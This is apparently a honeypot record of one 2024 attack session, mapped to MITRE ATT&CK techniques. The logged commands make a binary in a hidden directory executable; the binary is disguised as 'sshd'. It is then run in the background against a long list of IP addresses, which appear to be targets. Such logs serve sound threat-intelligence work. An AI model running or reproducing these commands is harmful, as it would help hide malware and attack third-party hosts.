Honeypot attack session (period 2024), commands issued:
uname -s -m
chmod +x ./.6936529941787573703/sshd;nohup ./.6936529941787573703/sshd 110.14.63.161 172.245.79.216 182.151.11.94 101.89.151.18 112.4.238.226 181.113.114.115 107.172.84.105 8.138.115.205 38.7.199.161 159.203.68.250 14.116.213.236 195.154.163.212 117.161.233.102 36.26.88.123 106.116.209.121 193.169.244.205 183.221.214.95 186.233.119.15 106.225.229.4 13.52.246.69 59.47.5.34 182.151.25.46 59.38.100.77 222.186.10.55 18.144.33.176 180.100.197.151 125.124.199.57 163.5.194.20 115.239.255.13 93.95.119.109 5.250.180.124 120.71.147.193 64.23.160.238 13.56.195.167 119.96.159.191 113.250.163.226 180.163.61.238 185.22.65.186 115.63.252.124 15.206.79.116 197.156.100.173 85.133.151.219 202.5.16.82 36.103.178.190 23.94.136.106 222.186.10.214 58.136.232.69 156.238.226.92 183.252.11.28 8.130.40.101 5.252.54.168 &

MITRE ATT&CK techniques observed:
T1087 Account Discovery
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter